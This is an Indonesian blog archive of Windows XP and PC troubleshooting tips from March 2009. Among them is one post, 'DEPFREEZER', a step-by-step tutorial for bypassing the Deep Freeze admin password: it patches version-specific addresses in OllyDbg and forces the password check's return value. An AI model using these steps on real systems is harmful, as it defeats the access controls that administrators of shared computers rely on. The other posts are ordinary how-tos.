Gun Sintang GUN SINTANG: Maret 2009

komputer bermasalah

Kamis, 26 Maret 2009

Ketika kamu menyalakan komputer kamu di pagi hari atau di kantor, tidak ada respon sama sekali dan mungkin lampu komputer yang biasanya nyala, sekarang tidak. Ini memang hal yang mengesalkan, mungkin informasi di bawah ini bisa membantu kamu:
1. Yang perlu kamu periksa dahulu adalah apakah kabel power di komputer kamu terpasang dengan baik (tidak longgar). Periksalah semua kabel yang menghubungkan komputer, monitor, UPS atau stabilizer, apakah terpasang pada sumber listrik. Bisa jadi juga UPS atau stabilizer kamu rusak kalau tidak ada masalah pada kabel, coba jangan gunakan UPS atau stabilizer dahulu, lihat apakah komputer kamu menyala.
2. Ingat-ingat dahulu apakah kamu ada melakukan perubahan pada komputer kamu sebelumnya, seperti mengubah voltase power supply, memindahkan komputer atau mengotak-atik bagian dalam komputer, atau mengubah setting BIOS. Kalau ada kembalikan seperti semula atau periksa kembali bagian yang pernah disentuh kamu apakah terpasang dengan benar.
3. Kalau kamu ada mengubah setting BIOS, dan kamu tidak bisa mengubahnya kembali karena komputer tidak ada respon, maka kamu perlu me-reset BIOS secara manual. Baca buku petunjuk Mainboard kamu pada bagian me-reset BIOS. Lakukan dengan benar.
4. Apakah komputer kamu mengeluarkan suara bunyi 'beep' panjang atau berulang-ulang?, kalau iya, mungkiin VGA Card atau memori kamu tidak terpasang dengan baik. Cobalah buka penutup casing komputer dan cek dahulu atau cabut pasang VGA Card atau memori bila kamu sudah yakin itu penyebabnya.
Bila semua hal di atas sudah kamu lakukan, tapi komputer tetap tidak menyala, kemungkinan ada kerusakan pada komputer kamu. Pada umumnya kerusakan yang mungkin terjadi:
• Kerusakan biasanya pada Power Supply, bila lampu komputer tidak menyala sama sekali.
• Kerusakan pada VGA Card, Mainboard & Memori, bila komputer menyala tapi layar monitor gelap. Kerusakan tertentu pada Harddisk bisa menyebabkan juga hal demikian
• Kerusakan pada layar monitor (LCD) bila komputer menyala dan ada suara 'beep' 1x dan lampu Harddisk menyala, dan semua kipas berjalan.
Kalau kamu mempunyai cadangan sparepart di atas dan kebetulan kamu memiliki kemampuan untuk memasang komponen tersebut, kamu bisa melakukannya sendiri. Bila tidak sebaiknya hubungi toko komputer atau orang yang ahli di bidang ini.

Bila komputer kamu masih dalam masa garansi sebaiknya hubungi toko yang menjualnya, jangan mencoba untuk memperbaiki sendiri karena garansi bisa hangus bila kamu melepas komponen tertentu.

Baca Selengkapnya......

trik plasdisc ngadat

Solusi Ketika USB Flash Drive Ngadat
Media penyimpanan USB Flash Drive seringkali ngadat tak mau dilepas secara aman dari komputer. berikut beberapa tips praktis untuk mengatasinya.

Media penyimpanan USB Flash Drive seringkali ngadat tak mau dilepas secara aman dari komputer. berikut beberapa tips praktis untuk mengatasinya.

1. Manfaatkan 'Task Manager'

Seringkali ketika akan dilepas dari komputer, terdapat pernyataan USB Flash Drive tak aman dicopot. Jika Anda sudah menutup semua program dan USB Flash Drive tetap ngadat tak mau dilepaskan, cobalah memakai aplikasi 'Task Manager'.

Tekan 'Ctrl-Alt-Delete' secara bersamaan untuk memunculkan 'Task Manager' di Windows XP. Kemudian klik tab 'Processes'. Setelah itu, periksalah detail proses-proses komputasi yang sedang terjadi di sini.

Jika terdapat proses yang kira-kira berasal dari USB Flash Drive, pilihlah proses tersebut kemudian tekan 'end process'. Kemudian, cobalah untuk kembali melepaskan USB Flash Drive.

2. Alternatif Lain

Namun jika dengan cara di atas USB Flash Drive tetap dinyatakan tak aman dilepas, ada 2 pilihan yang bisa diambil yaitu:

- Matikan komputer kemudian cabut USB Flash Drive tersebut.

- Atau Anda bisa menempuh risiko dengan langsung saja mencabut USB Flash Drive. Langkah ini dinilai tak menimbulkan masalah jika USB Flash Drive dicopot saat seluruh programnya telah ditutup. Namun tiada jaminan Flash Drive Anda aman dengan cara ini.

3. Pakai Software 'USB Safely Remove'

Anda juga bisa mencoba versi trial software bernama USB Safely Remove. Software ini gunanya untuk menganalisis penyebab USB Flash Drive tak mau dilepas, kemudian menunjukkan solusinya. Hanya saja jika Anda ingin memiliki software ini secara permanen, Anda harus membayar sejumlah uang

Baca Selengkapnya......

foto anak texas



Baca Selengkapnya......

DEPFREEZER

Minggu, 22 Maret 2009


Uninstall depfreeze
admin
Penulis tidak bertanggung jawab akan kerusakan atau kerugian yang ditimbulkan akibat penggunaan ataupun pelaksanaan tutorial ini. Tutorial ditujukan untuk mereka yang mau belajar bukan untuk mereka yang ingin merusak bahkan merugikan orang lain dengan tindakannya.Anyway, Let’s Get It on!!!! $>DeepFreeze adalah salah satu Software yang digunakan untuk mengamankan, mencegah dan mengontrol komputer dari pengerusakan yang dilakukan sengaja ataupun tidak sengaja. Sesuai dengan namanya software ini akan “Membekukan” segala yang ada di partisi “beku”nya. Tidak ada “Restriction” dalam penggunaan komputer yang “dibekukan”, hanya saja semua settingan, dan kondisi
komputer akan kembali seperti semula setelah komputer di-restart / booting. $>Tutorial ini akan membahas tentang cara Disable/Un-freeze DeepFreeze versi 4.20.020.0598, 4.20.120.0598, 4.20.121.0613, 5.20.220.1125 dan 5.30.120.1181 pada OS Windows 2K/XP. $>Pada umumnya DeepFreeze mempunyai aplikasi yang aktif di komputer yang masih “Enable”, dan bila kita ingin mengubah setingan dari DeepFreeze maka harus masuk ke menu Config yang diproteksi oleh password tentunya. $>Ada beberapa cara untuk men-Disable software ini, yaitu dengan menggunakan disket (bootable tentunya) lalu boot dari disket itu dan memindahkan file DFSERVEX.EXE yang berada di path c:\progra~1\hypert~1\deepfr~1 ke tempat lain. Dan yang terakhir yaitu dengan menggunakan Disassembler untuk mem-Patch File Frzstate(2K).exe. Tutorial ini akan membahas cara yang kedua. Tools yang diperlukan : 1.Ollydbg 1.10 > http://www.ollydbg.de/ 2.Process Explorer > http://www.sysinternals.com/ 3.Ollyscript > http://ollyscript.apsvans.com/ 4.ASPack 2.12 OEP finder script by hacnho/VCT2k4 > http://ollyscript.apsvans.com/ Langkah-langkah : 1.Jalankan Process Explorer lalu lihat aplikasi Frzstate.exe atau Frzstate2k.exe yang berjalan lalu klik kanan untuk melihat propertiesnya. Catat Properties Command Linenya yang berisi path program itu dan 3 angka terakhir. contoh : C:\Program Files\HyperTechnologies\Deep Freeze\_$Df\FrzState.exe 1 1066917 0 <<> 2.Jalankan Ollydbg 1.10 dan buka Aplikasi Frzstate(2k).exe melalui path yang sudah dicatat. Jangan lupa masukkan 3 angka terakhir di kolom Arguments. 3.Akan ada box peringatan yang muncul hiraukan saja, pada box peringatan kedua kilk No. 4.Jalankan Plug-in OllyScript dengan memb-Browse-nya di menu Options>Appearance>Plugi-in Path 5.Jalankan Script EOP di menu Plugins>Run Script>Ollyscript tentukan path dari EOP script lalu klik Open. 6.Setelah itu script akan membuka code asli. Perhatikan apakah ada ikon dfreeze di system tray (DFreeze dapat diset- untuk tidak menampilkannya),bila tidak ada klik kanan pada jendela code pilih Go to>Expression dan masukkan nilai berikut : versi 4.20.020.0598 > 40A2BE versi 4.20.120.0598 > idem versi 4.20.121.0613 > 409F4A versi 5.20.220.1125 > 40FC4A versi 5.30.120.1181 > idem dan klik Ok. Setelah itu program akan menuju ke baris tersebut. Klik kanan lagi pilih Assemble lalu isi kolom dengan ekspresi NOP dan jangan lupa checklist pilihan Fill with NOP’s lalu klik Assemble. 7.Kembali lagi ke jendela code, klik kanan untuk memilih Go to dan isi dengan nilai berikut : versi 4.20.020.0598 > 40368D versi 4.20.120.0598 > idem versi 4.20.121.0613 > 4034F5 versi 5.20.220.1125 > 4037E9 versi 5.30.120.1181 > 4037E9 lalu kilk Ok. Program akan menuju baris tersebut. Kita akan membuat sebuah BreakPoint disini. 8.Klik kanan pilih Breakpoint>Toogle, lalu tekan F9 untuk eksekusi baris tersebut. Bila benar akan muncul 2 ikon Deepfreeze pada system tray. Pilihlah salah satu ikon tersebut dan tekan Shift+dobel klik atau ctrl+Shift+Alt+F6 untuk membuka Form Login DFreeze. Isi kolom password dengan apa saja allu klik OK atau Enter. 9.Jika ikon yang kita pilih benar maka form Login tersebut seolah-olah “Membeku”. Kembali ke jendela code di Ollydbg tekan F8 dan lihat jendela register di sebelah kanan, ganti isi register EAX dengan nilai 1 (dalam hexadesimal) dengan dobel klik di register tersebut. (nilai 000000000 merupakan value “False” untuk pengecekan password) 10.Tekan F9 untuk eksekusi program lagi, bila benar maka kita akan mendapatkan sebuah form Config dari DeepFreeze. referensi : 1.http://usuarios.arnet.com.ar/fliamarconato/ 2.http://webs.uolsinectis.com.ar/c_delgado

Baca Selengkapnya......

upinn dan ipin


Baca Selengkapnya......

MULTI BOOT SYSTEM

Sabtu, 21 Maret 2009


Artikel ini menjelaskan cara mempersiapkan Windows XP sebagai sistem multi-boot dengan sistem operasi berikut ini:

  • Microsoft Windows 2000, Microsoft Windows NT 4.0, dan Microsoft Windows NT 3.51
  • Microsoft Windows 95 Operating System Release 2 (OSR2), Microsoft Windows 98, dan Microsoft Windows Millennium Edition (Me)
  • MS-DOS atau Microsoft Windows 3.x

Anda dapat menginstal lebih dari satu sistem operasi di komputer Anda dan memilih sistem operasi manakah yang ingin digunakan setiap kali menjalankan komputer. Ini sering disebut konfigurasi dual-boot atau multi-boot (lihat daftar kata di bagian akhir artikel ini untuk definisi terminologi khusus).


Volume Disk dan Format Disk

Perlu dicatat bahwa Enkripsi Sistem File (EFS) tidak tersedia di dalam Windows XP Home Edition.

Pemformatan Ulang dan Perbaikan Perangkat Keras

Anda perlu memformat ulang dan mempartisi perangkat keras apabila:

  • Anda hanya memiliki satu volume.

    Anda harus menginstal setiap sistem operasi pada volume komputer yang berbeda sehingga setiap penginstalan tetap memakai informasi file dan konfigurasi.
  • Partisi boot tidak diformat dengan sistem file yang benar:
    • Apabila Anda ingin membuat sistem multi-boot dengan menggunakan MS-DOS, Windows 95, Windows 98 atau Windows Me, Anda harus memformat partisi sistem dengan menggunakan FAT16 atau FAT32 karena sistem operasi tidak dapat berjalan apabila partisi sistem adalah NTFS.
    • Apabila Anda ingin membuat sistem multi-boot dengan menggunakan Windows 95, Windows 98 atau Windows Me bersama dengan Microsoft Windows XP, Anda harus memformat partisi boot dengan menggunakan FAT16 karena Windows 95, Windows 98 dan Windows Me tidak mendukung sistem file NTFS.
    • Apabila Anda ingin menginstal Windows 95, Windows 98, atau Windows Me dengan Windows NT 4.0, Windows 2000, atau Windows XP, Anda dapat memformat partisi boot dengan menggunakan FAT16 karena Windows NT 4.0 tidak mendukung sistem file FAT32.
    • Apabila Anda ingin membuat sistem multi-boot menggunakan Windows 98 atau Windows Me dengan Windows 2000, atau Windows XP, Anda dapat memformat partisi boot dengan menggunakan FAT32.

      Catatan Apabila Anda memformat volume Windows NT 4.0, Windows 2000, atau Windows XP dengan sistem file selain NTFS, Anda akan kehilangan fitur khusus NTFS. Ini termasuk beberapa fitur Windows XP seperti keamanan sistem file, pengaturan Enkripsi Sistem File (EFS), kuota disk, dan Penyimpanan Jarak Jauh. Demikian pula, Windows 95, Windows 98, dan Windows Me tidak mengenali partisi NTFS dan mengidentifikasinya sebagai tidak dikenal. Oleh karena itu, apabila Anda memformat partisi Windows 98 atau Windows Me partition sebagai FAT, dan partisi Windows XP sebagai NTFS, file dalam partisi NTFS tidak akan tersedia atau terlihat apabila Anda mencoba mengaksesnya saat menjalankan Windows 98 atau Windows Me.

Sistem File yang Didukung

Tabel berikut ini mendaftar sistem file untuk sistem operasi Microsoft:

   Sistem Operasi   Sistem file yang didukung
   -----------------------------------------
 
   MS-DOS             FAT
   Windows 3.1        FAT
   Windows NT         FAT, NTFS
   Windows 95        FAT
   Windows 95 OSR2    FAT, FAT32
   Windows 98         FAT, FAT32
   Windows Me         FAT, FAT32
   Windows 2000       FAT, FAT32, NTFS
   Windows XP         FAT, FAT32, NTFS
                               

Tindakan pencegahan

Sebelum membuat konfigurasi multi-boot dengan Windows XP dan sistem operasi lainnya, pelajari tindakan pencegahan berikut ini:

  • Sebelum berusaha membuat sistem multi-boot, pastikan untuk membuat cadangan sistem dan semua file data.
  • Setiap sistem operasi harus diinstal pada volume yang berbeda. Microsoft tidak mendukung penginstalan multi-sistem operasi pada volume yang sama.
  • Apabila Anda hanya memiliki satu volume di dalam komputer tersebut, berarti Anda harus memformat ulang dan mempartisi perangkat keras untuk memuat multi-volume sebelum mulai membuat konfigurasi multi-boot, atau cukup menginstal salinan Windows XP lainnya.
  • Jangan menginstal Windows XP pada pengandar yang dikompresi tidak dengan menggunakan utilitas kompresi NTFS.
  • Anda harus menggunakan nama komputer yang berbeda untuk setiap sistem operasi apabila komputer berada pada domain Windows 2000 atau Windows XP.
  • Instal sistem operasi dalam urutan berikut ini:
    1. MS-DOS
    2. Windows 95, Windows 98 atau Windows Me
    3. Windows NT
    4. Windows 2000
    5. Windows XP


Untuk Membuat Sistem Multi-Boot Dengan Windows XP dan MS-DOS, Windows 95, Windows 98, atau Windows Me

Catatan Anda hanya dapat menginstal item tunggal Windows 95, Windows 98, atau Windows Me dalam konfigurasi multi-boot. Anda tidak dapat mengkonfigurasi komputer menjadi multi-boot Windows 95, Windows 98, atau Windows Me karena setiap platform ini menggunakan file boot yang sama. Contohnya, Anda dapat menggunakan Windows 95, Windows 2000, dan Windows XP, tetapi tidak dapat menggunakan Windows 95, Windows 98, dan Windows XP.

Anda harus menginstal Windows XP hanya setelah menginstal MS-DOS, Windows 95, Windows 98, atau Windows Me untuk mencegah penimpaan sistem operasi sektor boot Windows XP dan file startup Windows XP.

Untuk membuat sistem multi-boot dengan Windows XP dan MS-DOS, Windows 95, Windows 98 atau Windows Me:

  1. Pastikan bahwa perangkat keras telah diformat dengan sistem file yang benar.
  2. Instal sistem operasi multi menjadi beberapa volume terpisah, dengan urutan: MS-DOS; Windows 95, Windows 98, atau Windows Me; kemudian Windows XP.
  3. Lakukan salah satu dari hal berikut:
    • Apabila Anda menghendaki sistem multi-boot dengan MS-DOS, Windows 95, Windows 98 atau Windows Me bersamaan dengan Windows XP, instal MS-DOS, Windows 95, Windows 98 atau Windows Me, kemudian instal Windows XP.
    • Apabila Anda menghendaki sistem dual-boot dengan Windows 95, Windows 98 atau Windows Me, bersamaan dengan Windows XP, Anda harus menginstal Windows 95, Windows 98 atau Windows Me, kemudian instal Windows XP.

Instal setiap sistem operasi berdasarkan prosedur penginstalan standar.


Untuk membuat Sistem Multi-Boot dengan Windows NT 4.0 dan Windows XP

Menggunakan sistem multi-boot dengan Windows NT 4.0 dan juga Windows XP tidak disarankan sebagai solusi jangka panjang. Pembaruan NTFS di dalam Paket Layanan 5 (SP5) untuk Windows NT 4.0 hanya disediakan untuk membantu Anda mengevaluasi dan meng-upgrade ke Windows XP.

Untuk membuat sistem multi-boot dengan Windows NT 4.0 dan Windows XP:

  1. Pastikan bahwa perangkat keras telah diformat dengan sistem file yang benar.
  2. Instal Windows NT 4.0 dan terapkan SP5, kemudian instal Windows XP ke volume terpisah. Instal setiap sistem operasi berdasarkan prosedur penginstalan standar.

Catatan Apabila Anda ingin menginstal lebih dari satu sistem operasi yang terdiri atas beberapa kombinasi Windows NT 4.0, dengan Windows 2000, ataupun Windows XP sebagai satu-satunya sistem operasi yang terinstal, Anda harus memastikan bahwa telah menginstal SP5 untuk Windows NT 4.0. Windows XP secara otomatis meng-upgrade semua partisi NTFS yang ditemukan di dalam sistem menjadi versi NTFS yang digunakan di dalam Windows 2000 dan Windows XP. Namun, Windows NT 4.0 memerlukan SP5 untuk membaca dan menulis volume yang diformat dengan versi NTFS yang digunakan dalam Windows 2000 dan Windows XP.


Menginstal Program di Lebih Dari Satu Sistem Operasi

Apabila Anda menginstal program di lebih dari satu sistem operasi, Anda harus memperlakukan setiap sistem operasi sebagai entitas terpisah. Program dan pengandar yang ingin digunakan harus diinstal di bawah setiap sistem operasi yang ingin digunakan. Contohnya, apabila Anda ingin menggunakan Microsoft Word di komputer yang sama di bawah Windows 98 dan juga Windows XP, Anda harus menjalankan Windows 98 dan menginstal Microsoft Word, dan kemudian, Anda harus merestart komputer di bawah Windows XP dan menginstal ulang Microsoft Word.

Catatan Windows 95 atau Windows 98 akan mengkonfigurasi ulang pengaturan perangkat keras saat kali pertama digunakan, yang mungkin menyebabkan masalah konfigurasi saat menjalankan Windows XP.


Menentukan Sistem Operasi Default untuk Startup

Apabila Anda memiliki lebih dari satu sistem operasi di komputer, Anda dapat menetapkan sistem operasi yang ingin digunakan sebagai default saat menjalankan komputer:

  • Klik Mulai menjalankan, klik Panel Kontrol, kemudian klik Sistem.
  • Pada tab Lanjut, di bawah Startup dan Pemulihan, klik Pengaturan.
  • Di bawah Startup sistem, di dalam daftar Sistem operasi default, klik sistem operasi yang ingin dijalankan saat menghidupkan atau restart komputer.
  • Pilih kotak centang Tampilkan daftar sistem operasi untuk, kemudian ketik jumlah detik untuk lama penampilan daftar tersebut sebelum sistem operasi default dimulai secara otomatis.

    Untuk mengedit file opsi boot secara manual, klik Edit. Microsoft sangat menyarankan agar Anda tidak mengubah file opsi boot (Boot.ini), karena melakukannya mungkin akan menyebabkan komputer tidak dapat digunakan.


Pemecahan Masalah

  • Saat Anda menjalankan Microsoft Internet Explorer, Explorer Anda akan keluar dan akan menerima pesan galat yang mirip dengan berikut ini:

iexplore menyebabkan Galat Halaman Tidak Valid pada modul kernel32.dll

Galat ini bisa saja terjadi apabila Anda menginstal multi sistem-operasi pada volume tunggal.

Untuk mengatasi masalah ini, instal setiap sistem operasi pada volume yang terpisah.

  • Anda tidak dapat mengkonfigurasi komputer untuk menjalankan Windows 95 dan juga Windows 98 (atau Windows Me).

    Anda tidak dapat mengkonfigurasi komputer menjadi multi-boot Windows 95 dan Windows 98 (atau Windows Me) karena setiap platform ini menggunakan file boot yang sama. Oleh karena itu, membuat multi-boot Windows 95, Windows 98 dan Windows Me sekaligus tidak disarankan.
  • Saat mulai menjalankan komputer, menu boot tidak muncul dan Anda tidak dapat menjalankan Windows XP.

    Masalah ini dapat terjadi apabila Anda menginstal Windows 95, Windows 98 atau Windows Me setelah menginstal Windows XP.

    Untuk mengatasi masalah ini, perbaiki, atau instal ulang Windows XP.


Daftar Kata



Partisi Boot
Partisi boot memuat sistem operasi Windows dan file yang dapat didukung. Partisi boot bisa saja, namun tidak harus, sama dengan partisi sistem. Akan ada satu, dan hanya satu, partisi sistem, tetapi hanya ada satu partisi boot untuk setiap sistem operasi di dalam sistem multi-boot.

Catatan Pada disk dinamis, disebut sebagai volume boot.

Untuk informasi selengkapnya tentang penyimpanan disk dalam Windows XP, klik nomor artikel berikut ini untuk melihat artikel pada Basis Pengetahuan Microsoft:

314343 (http://support.microsoft.com/kb/314343/ ) Penyimpanan Dasar Versus Penyimpanan Dinamis dalam Windows XP (Artikel ini mungkin berisi link ke konten berbahasa Inggris (belum diterjemahkan)).

Lihat juga: Partisi Sistem, Volume



Dual-Boot
Konfigurasi komputer yang dapat menjalankan dua sistem operasi yang berbeda.
Lihat juga: Multi Boot



Partisi Perluasan
Partisi perluasan dikembangkan sebagai respons atas diperlukannya lebih dari empat partisi per pengandar disk. Partisi perluasan itu sendiri dapat memuat multi partisi dan memperluas jumlah partisi yang dapat dipasang pada pengandar tunggal. Partisi perluasan adalah kontainer yang berisi pengandar logis yang telah diformat dan ditetapkan huruf pengandar. Pendahuluan partisi perluasan dikendalikan dengan meningkatkan kapasitas pengandar disk yang baru.



FAT (File Allocation Table)
Sistem file yang digunakan oleh MS-DOS dan sistem operasi berbasis Windows lainnya untuk mengelola dan mengatur file. Tabel alokasi file (FAT) adalah struktur data yang dibuat Windows saat Anda memformat volume dengan menggunakan sistem file FAT atau FAT32. Windows menyimpan informasi mengenai setiap file di dalam FAT sehingga dapat menerima file di waktu kemudian.
Lihat juga: FAT32, Sistem File, Sistem File NTFS



FAT32
Turunan dari sistem file FAT. FAT32 mendukung ukuran kluster yang lebih kecil dan volume yang lebih besar dibandingkan FAT, yang menghasilkan alokasi ruang yang lebih efisien di dalam volume FAT32.
Lihat juga: Tabel Alokasi File (FAT), Sistem File NTFS, Volume



Sistem File
Di dalam sistem operasi, sistem file adalah keseluruhan struktur di mana file diberi nama, disimpan, dan diatur. NTFS, FAT, dan FAT32 adalah jenis-jenis sistem file.
Lihat juga: Sistem File NTFS, FAT, FAT32



Partisi Logis
Partisi logis adalah partisi yang termuat di dalam partisi perluasan. Dalam hal penggunaannya tidak ada perbedaan dengan partisi primer yang tidak diperluas. Jumlah pengandar logis yang akan dibuat di dalam partisi perluasan dibatasi oleh sejumlah huruf pengandar yang tersedia dan jumlah ruangan hard drive yang tersedia untuk membuat kandar.



Multi Boot
Konfigurasi komputer yang dapat menjalankan dua sistem operasi yang berbeda.
Lihat juga: Dual-Boot



Sistem File NTFS
Sistem file lanjut yang memberikan kinerja, keamanan (misal, izin file dan folder), ketahanan uji, dan fitur lanjut yang tidak ditemukan di dalam versi FAT mana pun. Contohnya, NTFS menjamin konsistensi volume dengan menggunakan log transaksi dan teknik pemulihan standar. Apabila sistem gagal, NTFS menggunakan file log dan informasi centang untuk memulihkan konsistensi sistem file. Pada Windows 2000 dan Windows XP, NTFS juga menyediakan fitur lanjut seperti enkripsi, titik Reparse, file Sparse, Jurnal USN, dan kuota disk.
Lihat juga: FAT32, Tabel alokasi File (FAT), Sistem File



Partisi Primer
Partisi yang digunakan untuk mulai menjalankan sistem operasi. Partisi primer yang menempati satu dari keempat slot partisi primer di dalam tabel partisi pengandar disk. Anda juga dapat menggunakan partisi primer yang tidak berisi sistem operasi.



Partisi Sistem
Partisi sistem mengacu pada volume disk yang memuat file perangkat keras khusus yang diperlukan untuk menjalankan Windows, seperti Ntldr, Boot.ini, dan Ntdetect.com. Partisi sistem bisa saja, namun tidak harus, berupa volume yang sama dengan partisi boot.

Catatan Pada disk dinamis, disebut sebagai volume sistem.

Lihat juga: Partisi Boot, Volume



Volume
Volume adalah area penyimpanan di dalam perangkat keras yang merupakan partisi primer atau pengandar logis di dalam partisi perluasan. Volume diformat dengan menggunakan sistem file, seperti FAT atau NTFS, dan memiliki huruf pengandar yang telah ditetapkan. Anda dapat menampilkan konten sebuah volume dengan mengklik ikonnya pada Windows Explorer atau pada Komputer Saya. Kandar keras tunggal bisa mempunyai multi-volume, dan volume bisa juga meliputi multi disk.
Lihat juga: Tabel Alokasi File (FAT), Sistem File NTFS

Baca Selengkapnya......

PETA SINTANG

Peta Sintang yang diambil melalui satelit

Baca Selengkapnya......

foto sintang 2

Jumat, 20 Maret 2009

Baca Selengkapnya......

foto sintang





Baca Selengkapnya......

WinXP Tips and Tricks [ Users Quick Reference ]

WinXP Tips and Tricks [ Users Quick Reference ]

Opening Ports or Adding Allowed Programs with SP2's Firewall
1.Click on Start / Run
2.Enter in firewall.cpl
3.Click on the Exceptions tab

Adding a Port for Internet Access:
1.Click on the Add Port button
2.Name it whatever you want
3.Enter in the ports you want to open

Adding a Program for Internet Access
1.Click on Add Program... button
2.A list of all installed programs will be displayed
3.Highlight the one you want to include for Internet access
4.Click on the OK button

Autoexec.nt or Config.nt Errors
If you are getting errors similar to:
The system file is not suitable for running MS-DOS and Microsoft Windows applications. Choose 'Close' to terminate the application.
Try copying the file from \windows\repair directory to the one that is in the \windows\system32 directory.

Common Control Panel Applets
The follow are some common Control Panel Applets that are located in the \windows\system32 directory.

If you find yourself using any of these frequently, then you can simply make shortcuts to them on your desktop.

appwiz.cpl >>Add/Remove Programs
desk.cpl >> Display Properties
firewall.cpl >> Firewall Settings
inetcpl.cpl >> Internet Options
mmsys.cpl >> Sound and Audio
ncpa.cpl >> Network Connections
nusrmgr.cpl >> User Accounts
powercfg.cpl >> Power Options
sysdm.cpl >>System Properties
wscui.cpl >> Security Center
wuaucpl.cpl >> Automatic Updates Configuration


Windows Explorer Opens Search Companion Rather than the Folder
If the Windows Explorer opens up the Search Companion rather than opening up the actual folder, the default setting for opening a folder is changed.

To correct this:
Start Regedit
Go to HKEY_CLASSES_ROOT \ Directory \ shell
Edit the default value to be explorer or none



Guest Only Network Access
If you try and connect to an XP computer and are shown a logins screen with only the computername/Guest,

You may need to change one of the Local Security Policies:
Got to Control Panel - Administrative Tools
Go to Local Policies - Security Options
Check teh Network access: Sharing and security model for local accounts
Set it to Classic - local users authenticate as themselves



Hiding a XP Computer from Network Neighborhood
If you want to share files from a XP computer,
yet want to remove it from showing up in the Network Neighborhood,
Run net config server /hidden:yes


Easy Way to Share Multiple Folders
If you need to share multiple folders, running the program SHRPUBW.EXE will bring up a simple dialog box to let you:
Browse to the folder you want to share
Enter in a Share name
Ender in a Share description
Set permissions. Several choices are available
Restart the process from within the same program


Not Viewing Zip Files as Folders
If you want to turn of WindowsXP showing Zip files as folders,
just run:
regsvr32 /u zipfldr.dll

Setting Capslock, Numlock, Scroll Lock
If you want to set the startup state for any or all of these keys,
you just need to edit the registry.
Start Regedit
Go to HKEY_CURRENT_USER \ Control Panel \ Keyboard

Open InitialKeyboardIndicators
Change the value to one of the following numbers
0 - All Keys off
1 - Caps Lock on
2 - Num Lock on
4 - Scroll Lock on
For multiple keys, add their values:
3 - Caps Lock and Num Lock on
5 - Caps Lock and Scroll Lock on
6 - Num Lock and Scroll Lock on
7 - Caps Lock, Num Lock, and Scroll Lock on
Log off and back on again


Restoring Desktop Icon to the Quicklaunch Bar
If you mistakenly deleted the icon for the Desktop on the Quicklaunch toolbar

Go to C:\Documents and Settings\user_name\Application Data\Microsoft\Internet Explorer\Quick Launch
(where user_name is replaced by your login name)
Create a Text file called ShowDesktop.SCF with the following contents:
[Shell]
Command=2
IconFile=explorer.exe,3
[Taskbar]
Command=ToggleDesktop


Network Access After Norton Anti-Virus Install
Sometimes you can't access a WinXP computer after installing Norton Anti-Virus.
There might be a variety of errors at the other computer depending on the operating system.
On the XP computer, in the Event Viewer / System log, there will be the following error:
The server's configuration parameter "irpstacksize" is too small for the server to use a local device.


Start Regedit
Go to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Servic es\lanmanserver\parameters

Edit the IRPStackSize
Give it a value of 15
Reboot the computer

Baca Selengkapnya......

TIP & TRIK Windows XP

TIP & TRIK Windows XP

Memberikan Login Otomatis

  1. Klik menu "START" dan pilih "Run" atau menekan tombol "Windows" pada keyboard + "R"
  2. Ketikkan "control userpasswords2" tanpa tanda kutip
  3. Jika kamu bukan seorang Admin, maka akan diminta konfirmasi salah satu password Admin, sedangkan jika kamu merupakan Admin pada komputer tersebut, maka akan terbuka layar "User Accounts"
  4. Hilangkan tanda centang yang ada dalam box "Users must enter a user name and password to use this computer" lalu tekan "OK"
  5. Pada saat tombol "OK atau "Apply" selesai di tekan, maka kamu akan diminta unrtuk memasukkan sebuah user name dan password yang akan digunakan sebagai default'a. Sehingga setiap kamu menyalakan kompie, maka kompie akan secara otomatis login menggunakan login name tersebut
  6. Setelah itu restart kompie untuk melihat perubahan'a

Baca Selengkapnya......

Tips mempercepat Windows XP

Tips mempercepat Windows XP
Anda bisa mempercepat akses Windows XP anda dengan mematikan semua fitur grafik dan efek di WinXP. Caranya anda klik kanan di My Computer, terus pilih My properties, setelah itu tekan tombol Performance Setting, matikan semua fitur yang anda rasa tidak perlu atau anda bisa memilih adjust for better performance.
Kalau untuk browsing dan memori anda pas-pasan (256 MB-512 MB), anda bisa memilih Mozilla FireFox. Untuk membuka 25 situs dalam 1 windows memakai tab, FireFox cuma butuh memori 55 MB, kalau Internet Explorer hampir 2-3 kali lipat memakai memori lebih besar.

Selain itu untuk mempercepat akses kedua Windows di atas dan menjaga kestabilan serta gangguan sistem keamanan akibat trojan, virus, maupun spyware, anda bisa memakai program speed up yang ada di http://click2clean.e-games.com.my/Speedup/speedup.asp

Matikan semua startup anda yang tidak perlu di windows, caranya pilih "run" di "start" menu terus ketik "msconfig" terus pilih "startup" di pojok kanan, lalu matikan semua startup yang anda anggap tidak berguna.

Baca Selengkapnya......

Memunculkan Penampakan Fitur Tersembunyi

DefaultMemunculkan Penampakan Fitur Tersembunyi


Anda tertarik dengan musik pembuka Windows yang orisinal? Temukan file-nya di \windows\oobe\system32\images\tittle.wma.

Ada dua edisi Windows Plus! yang beredar, yakni Microsoft Plus! for Windows dan Digital Media Edition (DME). Simak www.microsoft.com/windows/plus/PlusHome.asp dan coba versi trial DME.

Ketikkan “iexpress” tanpa tanda petik pada kotak dialog Start|Run. Anda akan menemukan sebuah utility untuk mengompres dan membuat file self extraction.

Anda akan menemukan beberapa tool yang kurang populer, namun punya kelebihan luar biasa. Tool-tool tersebut bisa ditemui di folder support\tools dalam CD instalasi Windows XP. Gunakan program suptools.msi untuk menginstalasi tool-tool tersebut dalam komputer Anda.

Ada banyak wizard atau stepby-step di Windows. Untuk mengetahui wizard apa saja, buka Help and Support dan ketikkan “Wizard” tanpa tanda petik pada kolom pencarian. Windows akan memunculkan daftar wizard yang tersedia. Anda tinggal memilihnya.

Untuk membuat karakter sendiri, klik Start|Run dan ketikkan Eudcedit. Buat sesuai keinginan Anda, asalakan masih dalam ukuran 64x64 grid. Simpan dengan memilih menu Edit|Save Character.

Untuk meletakkan karakter dalam Character Map ke dalam dokumen, Anda cukup membuka Character Map dan memilih karakter tersebut. Kemudian Anda tinggal mengcopy dan paste-nya ke dalam dokumen Anda

Baca Selengkapnya......

Tips Troubleshooting Komputer yang Tidak Menyala

Tips Troubleshooting Komputer yang Tidak Menyala

Email ke teman Cetak



Ketika kamu menyalakan komputer kamu di pagi hari atau di kantor, tidak ada respon sama sekali dan mungkin lampu komputer yang biasanya nyala, sekarang tidak. Ini memang hal yang mengesalkan, mungkin informasi di bawah ini bisa membantu kamu:

